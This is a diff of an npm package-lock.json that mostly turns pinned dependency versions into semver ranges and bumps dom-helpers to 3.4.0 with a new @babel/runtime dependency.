@@ "integrity": "sha1-Ls3xRaujj1R0DybO/Q/z4D4SXWo=", "dev": true, "requires": { - "source-map": "0.5.6" + "source-map": "0.5.x" } }, "cli-cursor": { @@ -2726,7 +2741,7 @@ "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", "dev": true, "requires": { - "restore-cursor": "2.0.0" + "restore-cursor": "^2.0.0" } }, "cli-width": { @@ -2742,8 +2757,8 @@ "dev": true, "optional": true, "requires": { - "center-align": "0.1.3", - "right-align": "0.1.3", + "center-align": "^0.1.1", + "right-align": "^0.1.1", "wordwrap": "0.0.2" }, "dependencies": { @@ -2773,8 +2788,8 @@ "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", "dev": true, "requires": { - "map-visit": "1.0.0", - "object-visit": "1.0.1" + "map-visit": "^1.0.0", + "object-visit": "^1.0.0" } }, "color-convert": { @@ -2783,7 +2798,7 @@ "integrity": "sha1-Gsz5fdc5uYO/mU1W/sj5WFNkG3o=", "dev": true, "requires": { - "color-name": "1.1.3" + "color-name": "^1.1.1" } }, "color-name": { @@ -2804,7 +2819,7 @@ "integrity": "sha1-RYwH4J4NkA/Ci3Cj/sLazR0st/Y=", "dev": true, "requires": { - "lodash": "4.17.10" + "lodash": "^4.5.0" } }, "combined-stream": { @@ -2813,7 +2828,7 @@ "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", "dev": true, "requires": { - "delayed-stream": "1.0.0" + "delayed-stream": "~1.0.0" } }, "commander": { @@ -2852,7 +2867,7 @@ "integrity": "sha512-4aE67DL33dSW9gw4CI2H/yTxqHLNcxp0yS6jB+4h+wr3e43+1z7vm0HU9qXOH8j+qjKuL8+UtkOxYQSMq60Ylw==", "dev": true, "requires": { - "mime-db": "1.36.0" + "mime-db": ">= 1.36.0 < 2" }, "dependencies": { "mime-db": { @@ -2869,13 +2884,13 @@ "integrity": "sha512-HSjyBG5N1Nnz7tF2+O7A9XUhyjru71/fwgNb7oIsEVHR0WShfs2tIS/EySLgiTe98aOK18YDlMXpzjCXY/n9mg==", "dev": true, "requires": { - "accepts": "1.3.5", + "accepts": "~1.3.5", "bytes": "3.0.0", - "compressible": "2.0.15", + "compressible": "~2.0.14", "debug": "2.6.9", - "on-headers": "1.0.1", + "on-headers": "~1.0.1", "safe-buffer": "5.1.2", - "vary": "1.1.2" + "vary": "~1.1.2" }, "dependencies": { "debug": { @@ -2907,9 +2922,9 @@ "integrity": "sha1-CqxmL9Ur54lk1VMvaUeE5wEQrPc=", "dev": true, "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.3", - "typedarray": "0.0.6" + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" }, "dependencies": { "isarray": { @@ -2924,13 +2939,13 @@ "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "1.0.7", - "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~1.0.6", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.0.3", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -2939,7 +2954,7 @@ "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -2952,7 +2967,7 @@ "requires": { "debug": "2.6.9", "finalhandler": "1.1.0", - "parseurl": "1.3.2", + "parseurl": "~1.3.2", "utils-merge": "1.0.1" }, "dependencies": { @@ -2979,7 +2994,7 @@ "integrity": "sha1-8CQcRXMKn8YyOyBtvzjtx0HQuxA=", "dev": true, "requires": { - "date-now": "0.1.4" + "date-now": "^0.1.4" } }, "constants-browserify": { @@ -3024,12 +3039,12 @@ "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", "dev": true, "requires": { - "aproba": "1.2.0", - "fs-write-stream-atomic": "1.0.10", - "iferr": "0.1.5", - "mkdirp": "0.5.1", - "rimraf": "2.6.2", - "run-queue": "1.0.3" + "aproba": "^1.1.1", + "fs-write-stream-atomic": "^1.0.8", + "iferr": "^0.1.5", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.0" } }, "copy-descriptor": { @@ -3043,7 +3058,7 @@ "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", "requires": { - "toggle-selection": "1.0.6" + "toggle-selection": "^1.0.3" } }, "copyfiles": { @@ -3052,12 +3067,12 @@ "integrity": "sha512-cAeDE0vL/koE9WSEGxqPpSyvU638Kgfu6wfrnj7kqp9FWa1CWsU54Coo6sdYZP4GstWa39tL/wIVJWfXcujgNA==", "dev": true, "requires": { - "glob": "7.1.3", - "minimatch": "3.0.4", - "mkdirp": "0.5.1", + "glob": "^7.0.5", + "minimatch": "^3.0.3", + "mkdirp": "^0.5.1", "noms": "0.0.0", - "through2": "2.0.3", - "yargs": "11.1.0" + "through2": "^2.0.1", + "yargs": "^11.0.0" }, "dependencies": { "ansi-regex": { @@ -3072,9 +3087,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "2.1.1", - "strip-ansi": "4.0.0", - "wrap-ansi": "2.1.0" + "string-width": "^2.1.1", + "strip-ansi": "^4.0.0", + "wrap-ansi": "^2.0.0" } }, "find-up": { @@ -3083,7 +3098,7 @@ "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", "dev": true, "requires": { - "locate-path": "2.0.0" + "locate-path": "^2.0.0" } }, "strip-ansi": { @@ -3092,7 +3107,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-regex": "^3.0.0" } }, "yargs": { @@ -3101,18 +3116,18 @@ "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", "dev": true, "requires": { - "cliui": "4.1.0", - "decamelize": "1.2.0", - "find-up": "2.1.0", - "get-caller-file": "1.0.3", - "os-locale": "2.1.0", - "require-directory": "2.1.1", - "require-main-filename": "1.0.1", - "set-blocking": "2.0.0", - "string-width": "2.1.1", - "which-module": "2.0.0", - "y18n": "3.2.1", - "yargs-parser": "9.0.2" + "cliui": "^4.0.0", + "decamelize": "^1.1.1", + "find-up": "^2.1.0", + "get-caller-file": "^1.0.1", + "os-locale": "^2.0.0", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^2.0.0", + "which-module": "^2.0.0", + "y18n": "^3.2.1", + "yargs-parser": "^9.0.2" } } } @@ -3134,8 +3149,8 @@ "integrity": "sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==", "dev": true, "requires": { - "bn.js": "4.11.8", - "elliptic": "6.4.1" + "bn.js": "^4.1.0", + "elliptic": "^6.0.0" } }, "create-hash": { @@ -3144,11 +3159,11 @@ "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==", "dev": true, "requires": { - "cipher-base": "1.0.4", - "inherits": "2.0.3", - "md5.js": "1.3.5", - "ripemd160": "2.0.2", - "sha.js": "2.4.11" + "cipher-base": "^1.0.1", + "inherits": "^2.0.1", + "md5.js": "^1.3.4", + "ripemd160": "^2.0.1", + "sha.js": "^2.4.0" } }, "create-hmac": { @@ -3157,12 +3172,12 @@ "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==", "dev": true, "requires": { - "cipher-base": "1.0.4", - "create-hash": "1.2.0", - "inherits": "2.0.3", - "ripemd160": "2.0.2", - "safe-buffer": "5.1.1", - "sha.js": "2.4.11" + "cipher-base": "^1.0.3", + "create-hash": "^1.1.0", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" } }, "cross-spawn": { @@ -3171,9 +3186,9 @@ "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", "dev": true, "requires": { - "lru-cache": "4.1.3", - "shebang-command": "1.2.0", - "which": "1.3.0" + "lru-cache": "^4.0.1", + "shebang-command": "^1.2.0", + "which": "^1.2.9" } }, "cryptiles": { @@ -3182,7 +3197,7 @@ "integrity": "sha1-qJ+7Ig9c4l7FboxKqKT9e1sNKf4=", "dev": true, "requires": { - "boom": "5.2.0" + "boom": "5.x.x" }, "dependencies": { "boom": { @@ -3191,7 +3206,7 @@ "integrity": "sha512-Z5BTk6ZRe4tXXQlkqftmsAUANpXmuwlsF5Oov8ThoMbQRzdGTA1ngYRW160GexgOgjsFOKJz0LYhoNi+2AMBUw==", "dev": true, "requires": { - "hoek": "4.2.1" + "hoek": "4.x.x" } } } @@ -3202,17 +3217,17 @@ "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==", "dev": true, "requires": { - "browserify-cipher": "1.0.1", - "browserify-sign": "4.0.4", - "create-ecdh": "4.0.3", - "create-hash": "1.2.0", - "create-hmac": "1.1.7", - "diffie-hellman": "5.0.3", - "inherits": "2.0.3", - "pbkdf2": "3.0.17", - "public-encrypt": "4.0.3", - "randombytes": "2.0.6", - "randomfill": "1.0.4" + "browserify-cipher": "^1.0.0", + "browserify-sign": "^4.0.0", + "create-ecdh": "^4.0.0", + "create-hash": "^1.1.0", + "create-hmac": "^1.1.0", + "diffie-hellman": "^5.0.0", + "inherits": "^2.0.1", + "pbkdf2": "^3.0.3", + "public-encrypt": "^4.0.0", + "randombytes": "^2.0.0", + "randomfill": "^1.0.3" } }, "css-loader": { @@ -3221,18 +3236,18 @@ "integrity": "sha512-tMXlTYf3mIMt3b0dDCOQFJiVvxbocJ5Ho577WiGPYPZcqVEO218L2iU22pDXzkTZCLDE+9AmGSUkWxeh/nZReA==", "dev": true, "requires": { - "babel-code-frame": "6.26.0", - "css-selector-tokenizer": "0.7.0", - "icss-utils": "2.1.0", - "loader-utils": "1.1.0", - "lodash.camelcase": "4.3.0", - "postcss": "6.0.23", - "postcss-modules-extract-imports": "1.2.0", - "postcss-modules-local-by-default": "1.2.0", - "postcss-modules-scope": "1.1.0", - "postcss-modules-values": "1.3.0", - "postcss-value-parser": "3.3.0", - "source-list-map": "2.0.0" + "babel-code-frame": "^6.26.0", + "css-selector-tokenizer": "^0.7.0", + "icss-utils": "^2.1.0", + "loader-utils": "^1.0.2", + "lodash.camelcase": "^4.3.0", + "postcss": "^6.0.23", + "postcss-modules-extract-imports": "^1.2.0", + "postcss-modules-local-by-default": "^1.2.0", + "postcss-modules-scope": "^1.1.0", + "postcss-modules-values": "^1.3.0", + "postcss-value-parser": "^3.3.0", + "source-list-map": "^2.0.0" }, "dependencies": { "babel-code-frame": { @@ -3241,9 +3256,9 @@ "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", "dev": true, "requires": { - "chalk": "1.1.3", - "esutils": "2.0.2", - "js-tokens": "3.0.2" + "chalk": "^1.1.3", + "esutils": "^2.0.2", + "js-tokens": "^3.0.2" } }, "loader-utils": { @@ -3252,9 +3267,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } } } @@ -3265,10 +3280,10 @@ "integrity": "sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=", "dev": true, "requires": { - "boolbase": "1.0.0", - "css-what": "2.1.0", + "boolbase": "~1.0.0", + "css-what": "2.1", "domutils": "1.5.1", - "nth-check": "1.0.1" + "nth-check": "~1.0.1" } }, "css-selector-tokenizer": { @@ -3277,9 +3292,9 @@ "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", "dev": true, "requires": { - "cssesc": "0.1.0", - "fastparse": "1.1.1", - "regexpu-core": "1.0.0" + "cssesc": "^0.1.0", + "fastparse": "^1.1.1", + "regexpu-core": "^1.0.0" }, "dependencies": { "regexpu-core": { @@ -3288,9 +3303,9 @@ "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", "dev": true, "requires": { - "regenerate": "1.3.2", - "regjsgen": "0.2.0", - "regjsparser": "0.1.5" + "regenerate": "^1.2.1", + "regjsgen": "^0.2.0", + "regjsparser": "^0.1.4" } } } @@ -3313,7 +3328,7 @@ "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", "dev": true, "requires": { - "array-find-index": "1.0.2" + "array-find-index": "^1.0.1" } }, "custom-event": { @@ -3334,7 +3349,7 @@ "integrity": "sha1-dUu1v+VUUdpppYuU1F9MWwRi1Y8=", "dev": true, "requires": { - "es5-ext": "0.10.46" + "es5-ext": "^0.10.9" } }, "dashdash": { @@ -3343,7 +3358,7 @@ "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", "dev": true, "requires": { - "assert-plus": "1.0.0" + "assert-plus": "^1.0.0" } }, "date-format": { @@ -3364,8 +3379,8 @@ "integrity": "sha1-nxJLZ1lMk3/3BpMuSmQsyo27/uk=", "dev": true, "requires": { - "get-stdin": "4.0.1", - "meow": "3.7.0" + "get-stdin": "^4.0.1", + "meow": "^3.3.0" } }, "debug": { @@ -3395,7 +3410,7 @@ "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", "dev": true, "requires": { - "type-detect": "4.0.8" + "type-detect": "^4.0.0" } }, "deep-equal": { @@ -3416,8 +3431,8 @@ "integrity": "sha512-lAc4i9QJR0YHSDFdzeBQKfZ1SRDG3hsJNEkrpcZa8QhBfidLAilT60BDEIVUUGqosFp425KOgB3uYqcnQrWafQ==", "dev": true, "requires": { - "execa": "0.10.0", - "ip-regex": "2.1.0" + "execa": "^0.10.0", + "ip-regex": "^2.1.0" }, "dependencies": { "cross-spawn": { @@ -3426,11 +3441,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "1.0.5", - "path-key": "2.0.1", - "semver": "5.5.1", - "shebang-command": "1.2.0", - "which": "1.3.0" + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" } }, "execa": { @@ -3439,13 +3454,13 @@ "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", "dev": true, "requires": { - "cross-spawn": "6.0.5", - "get-stream": "3.0.0", - "is-stream": "1.1.0", - "npm-run-path": "2.0.2", - "p-finally": "1.0.0", - "signal-exit": "3.0.2", - "strip-eof": "1.0.0" + "cross-spawn": "^6.0.0", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" } }, "semver": { @@ -3462,7 +3477,7 @@ "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", "dev": true, "requires": { - "object-keys": "1.0.12" + "object-keys": "^1.0.12" } }, "define-property": { @@ -3471,8 +3486,8 @@ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", "dev": true, "requires": { - "is-descriptor": "1.0.2", - "isobject": "3.0.1" + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" }, "dependencies": { "is-accessor-descriptor": { @@ -3481,7 +3496,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-data-descriptor": { @@ -3490,7 +3505,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-descriptor": { @@ -3499,9 +3514,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "1.0.0", - "is-data-descriptor": "1.0.0", - "kind-of": "6.0.2" + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" } }, "isobject": { @@ -3524,13 +3539,13 @@ "integrity": "sha1-wSyYHQZ4RshLyvhiz/kw2Qf/0ag=", "dev": true, "requires": { - "globby": "5.0.0", - "is-path-cwd": "1.0.0", - "is-path-in-cwd": "1.0.1", - "object-assign": "4.1.1", - "pify": "2.3.0", - "pinkie-promise": "2.0.1", - "rimraf": "2.6.2" + "globby": "^5.0.0", + "is-path-cwd": "^1.0.0", + "is-path-in-cwd": "^1.0.0", + "object-assign": "^4.0.1", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "rimraf": "^2.2.8" } }, "delayed-stream": { @@ -3551,8 +3566,8 @@ "integrity": "sha1-wHTS4qpqipoH29YfmhXCzYPsjsw=", "dev": true, "requires": { - "inherits": "2.0.3", - "minimalistic-assert": "1.0.1" + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0" } }, "destroy": { @@ -3567,7 +3582,7 @@ "integrity": "sha1-920GQ1LN9Docts5hnE7jqUdd4gg=", "dev": true, "requires": { - "repeating": "2.0.1" + "repeating": "^2.0.0" } }, "detect-node": { @@ -3594,9 +3609,9 @@ "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==", "dev": true, "requires": { - "bn.js": "4.11.8", - "miller-rabin": "4.0.1", - "randombytes": "2.0.6" + "bn.js": "^4.1.0", + "miller-rabin": "^4.0.0", + "randombytes": "^2.0.0" } }, "dns-equal": { @@ -3611,8 +3626,8 @@ "integrity": "sha512-0UxfQkMhYAUaZI+xrNZOz/as5KgDU0M/fQ9b6SpkyLbk3GEswDi6PADJVaYJradtRVsRIlF1zLyOodbcTCDzUg==", "dev": true, "requires": { - "ip": "1.1.5", - "safe-buffer": "5.1.1" + "ip": "^1.1.0", + "safe-buffer": "^5.0.1" } }, "dns-txt": { @@ -3621,7 +3636,7 @@ "integrity": "sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=", "dev": true, "requires": { - "buffer-indexof": "1.1.1" + "buffer-indexof": "^1.0.0" } }, "doctrine": { @@ -3630,7 +3645,7 @@ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", "dev": true, "requires": { - "esutils": "2.0.2" + "esutils": "^2.0.2" } }, "dom-converter": { @@ -3639,7 +3654,7 @@ "integrity": "sha1-pF71cnuJDJv/5tfIduexnLDhfzs=", "dev": true, "requires": { - "utila": "0.3.3" + "utila": "~0.3" }, "dependencies": { "utila": { @@ -3651,9 +3666,12 @@ } }, "dom-helpers": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.3.1.tgz", - "integrity": "sha512-2Sm+JaYn74OiTM2wHvxJOo3roiq/h25Yi69Fqk269cNUwIXsCvATB6CRSFC9Am/20G2b28hGv/+7NiWydIrPvg==" + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.4.0.tgz", + "integrity": "sha512-LnuPJ+dwqKDIyotW1VzmOZ5TONUN7CwkCR5hrgawTUbkBGYdeoNLZo6nNfGkCrjtE1nXXaj7iMMpDa8/d9WoIA==", + "requires": { + "@babel/runtime": "^7.1.2" + } }, "dom-serialize": { "version": "2.2.1", @@ -3661,10 +3679,10 @@ "integrity": "sha1-ViromZ9Evl6jB29UGdzVnrQ6yVs=", "dev": true, "requires": { - "custom-event": "1.0.1", - "ent": "2.2.0", - "extend": "3.0.1", - "void-elements": "2.0.1" + "custom-event": "~1.0.0", + "ent": "~2.2.0", + "extend": "^3.0.0", + "void-elements": "^2.0.0" } }, "dom-serializer": { @@ -3673,8 +3691,8 @@ "integrity": "sha1-BzxpdUbOB4DOI75KKOKT5AvDDII=", "dev": true, "requires": { - "domelementtype": "1.1.3", - "entities": "1.1.1" + "domelementtype": "~1.1.1", + "entities": "~1.1.1" }, "dependencies": { "domelementtype": { @@ -3709,7 +3727,7 @@ "integrity": "sha1-0mRvXlf2w7qxHPbLBdPArPdBJZQ=", "dev": true, "requires": { - "domelementtype": "1.3.0" + "domelementtype": "1" } }, "domutils": { @@ -3718,8 +3736,8 @@ "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", "dev": true, "requires": { - "dom-serializer": "0.1.0", - "domelementtype": "1.3.0" + "dom-serializer": "0", + "domelementtype": "1" } }, "downloadjs": { @@ -3733,10 +3751,10 @@ "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", "dev": true, "requires": { - "end-of-stream": "1.4.1", - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "stream-shift": "1.0.0" + "end-of-stream": "^1.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.0.0", + "stream-shift": "^1.0.0" }, "dependencies": { "isarray": { @@ -3757,13 +3775,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -3772,7 +3790,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -3784,7 +3802,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "0.1.1" + "jsbn": "~0.1.0" } }, "ee-first": { @@ -3810,13 +3828,13 @@ "integrity": "sha512-BsXLz5sqX8OHcsh7CqBMztyXARmGQ3LWPtGjJi6DiJHq5C/qvi9P3OqgswKSDftbu8+IoI/QDTAm2fFnQ9SZSQ==", "dev": true, "requires": { - "bn.js": "4.11.8", - "brorand": "1.1.0", - "hash.js": "1.1.5", - "hmac-drbg": "1.0.1", - "inherits": "2.0.3", - "minimalistic-assert": "1.0.1", - "minimalistic-crypto-utils": "1.0.1" + "bn.js": "^4.4.0", + "brorand": "^1.0.1", + "hash.js": "^1.0.0", + "hmac-drbg": "^1.0.0", + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.0" } }, "emitter-component": { @@ -3841,7 +3859,7 @@ "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", "requires": { - "iconv-lite": "0.4.18" + "iconv-lite": "~0.4.13" } }, "end-of-stream": { @@ -3850,7 +3868,7 @@ "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", "dev": true, "requires": { - "once": "1.4.0" + "once": "^1.4.0" } }, "engine.io": { @@ -3859,12 +3877,12 @@ "integrity": "sha512-mRbgmAtQ4GAlKwuPnnAvXXwdPhEx+jkc0OBCLrXuD/CRvwNK3AxRSnqK4FSqmAMRRHryVJP8TopOvmEaA64fKw==", "dev": true, "requires": { - "accepts": "1.3.5", + "accepts": "~1.3.4", "base64id": "1.0.0", "cookie": "0.3.1", - "debug": "3.1.0", - "engine.io-parser": "2.1.2", - "ws": "3.3.3" + "debug": "~3.1.0", + "engine.io-parser": "~2.1.0", + "ws": "~3.3.1" }, "dependencies": { "debug": { @@ -3886,14 +3904,14 @@ "requires": { "component-emitter": "1.2.1", "component-inherit": "0.0.3", - "debug": "3.1.0", - "engine.io-parser": "2.1.2", + "debug": "~3.1.0", + "engine.io-parser": "~2.1.1", "has-cors": "1.1.0", "indexof": "0.0.1", "parseqs": "0.0.5", "parseuri": "0.0.5", - "ws": "3.3.3", - "xmlhttprequest-ssl": "1.5.5", + "ws": "~3.3.1", + "xmlhttprequest-ssl": "~1.5.4", "yeast": "0.1.2" }, "dependencies": { @@ -3915,10 +3933,10 @@ "dev": true, "requires": { "after": "0.8.2", - "arraybuffer.slice": "0.0.7", + "arraybuffer.slice": "~0.0.7", "base64-arraybuffer": "0.1.5", "blob": "0.0.4", - "has-binary2": "1.0.3" + "has-binary2": "~1.0.2" } }, "enhanced-resolve": { @@ -3927,9 +3945,9 @@ "integrity": "sha512-F/7vkyTtyc/llOIn8oWclcB25KdRaiPBpZYDgJHgh/UHtpgT2p2eldQgtQnLtUvfMKPKxbRaQM/hHkvLHt1Vng==", "dev": true, "requires": { - "graceful-fs": "4.1.11", - "memory-fs": "0.4.1", - "tapable": "1.0.0" + "graceful-fs": "^4.1.2", + "memory-fs": "^0.4.0", + "tapable": "^1.0.0" } }, "ent": { @@ -3950,7 +3968,7 @@ "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", "dev": true, "requires": { - "prr": "1.0.1" + "prr": "~1.0.1" } }, "error-ex": { @@ -3959,7 +3977,7 @@ "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", "dev": true, "requires": { - "is-arrayish": "0.2.1" + "is-arrayish": "^0.2.1" } }, "es-abstract": { @@ -3968,11 +3986,11 @@ "integrity": "sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA==", "dev": true, "requires": { - "es-to-primitive": "1.1.1", - "function-bind": "1.1.1", - "has": "1.0.3", - "is-callable": "1.1.4", - "is-regex": "1.0.4" + "es-to-primitive": "^1.1.1", + "function-bind": "^1.1.1", + "has": "^1.0.1", + "is-callable": "^1.1.3", + "is-regex": "^1.0.4" } }, "es-to-primitive": { @@ -3981,9 +3999,9 @@ "integrity": "sha1-RTVSSKiJeQNLZ5Lhm7gfK3l13Q0=", "dev": true, "requires": { - "is-callable": "1.1.4", - "is-date-object": "1.0.1", - "is-symbol": "1.0.1" + "is-callable": "^1.1.1", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.1" } }, "es5-ext": { @@ -3992,9 +4010,9 @@ "integrity": "sha512-24XxRvJXNFwEMpJb3nOkiRJKRoupmjYmOPVlI65Qy2SrtxwOTB+g6ODjBKOtwEHbYrhWRty9xxOWLNdClT2djw==", "dev": true, "requires": { - "es6-iterator": "2.0.3", - "es6-symbol": "3.1.1", - "next-tick": "1.0.0" + "es6-iterator": "~2.0.3", + "es6-symbol": "~3.1.1", + "next-tick": "1" } }, "es6-iterator": 